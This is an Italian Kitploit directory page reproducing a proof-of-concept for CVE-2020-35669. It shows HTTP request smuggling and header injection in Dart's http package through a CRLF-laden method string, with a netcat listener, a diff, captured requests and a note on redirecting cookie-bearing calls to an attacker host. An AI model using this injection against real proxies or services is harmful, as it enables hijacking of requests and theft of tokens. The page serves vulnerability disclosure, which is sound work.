Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-35669 — Exploit proof-of-concept per CVE-2020-35669 che dimostra lo smuggling di richieste HTTP e l'iniezione di header nel pacchetto http di Dart tramite parametri di metodo manipolati, consentendo il bypass del proxy inverso e la manipolazione dell'header host. | Kitploit
Strumenti/GitHubGitHub/n0npax/cve-2020-35669
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Exploit proof-of-concept per CVE-2020-35669 che dimostra lo smuggling di richieste HTTP e l'iniezione di header nel pacchetto http di Dart tramite parametri di metodo manipolati, consentendo il bypass del proxy inverso e la manipolazione dell'header host.

Vedi Repository
115 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-35669

server fittizio

esegui il server fittizio usando il primo terminale

root@kitploit:~
sudo nc -l 127.0.0.1 80 

applica la diff fornita

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

esegui l'app fittizia

esegui main.dart usando il secondo terminale

root@kitploit:~
dart run main.dart

risultato

nc dovrebbe ricevere la richiesta indicata

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

Parte importante del codice

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

Percorso critico

Supponendo che la diff mostrata sopra non sia stata applicata e che l'utente sia dietro un rev-proxy, il sito web servito da example.com è stato raggiunto.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Perché questo è un rischio per la sicurezza

Se lo sviluppatore usa Request per astrarre la generazione delle chiamate HTTP e accetta un parametro method dall'utente, l'utente può fare cose come header injection o path forgery. Questo può essere sfruttato in molti modi e sembra essere piuttosto importante, soprattutto quando è presente un reverse proxy. Un proxy potrebbe semplicemente inoltrare la richiesta di qualcuno a qualsiasi host in base all'header host. Supponiamo che io sostituisca example.com con my-evil-uservice.org e che la vittima lavori in un'azienda dietro il proxy. Ciò significa che posso reindirizzare le chiamate con header/cookie (token) e così via. Di conseguenza, può avvenire il furto delle chiamate con tutti gli header/cookie.

Scarica lo strumento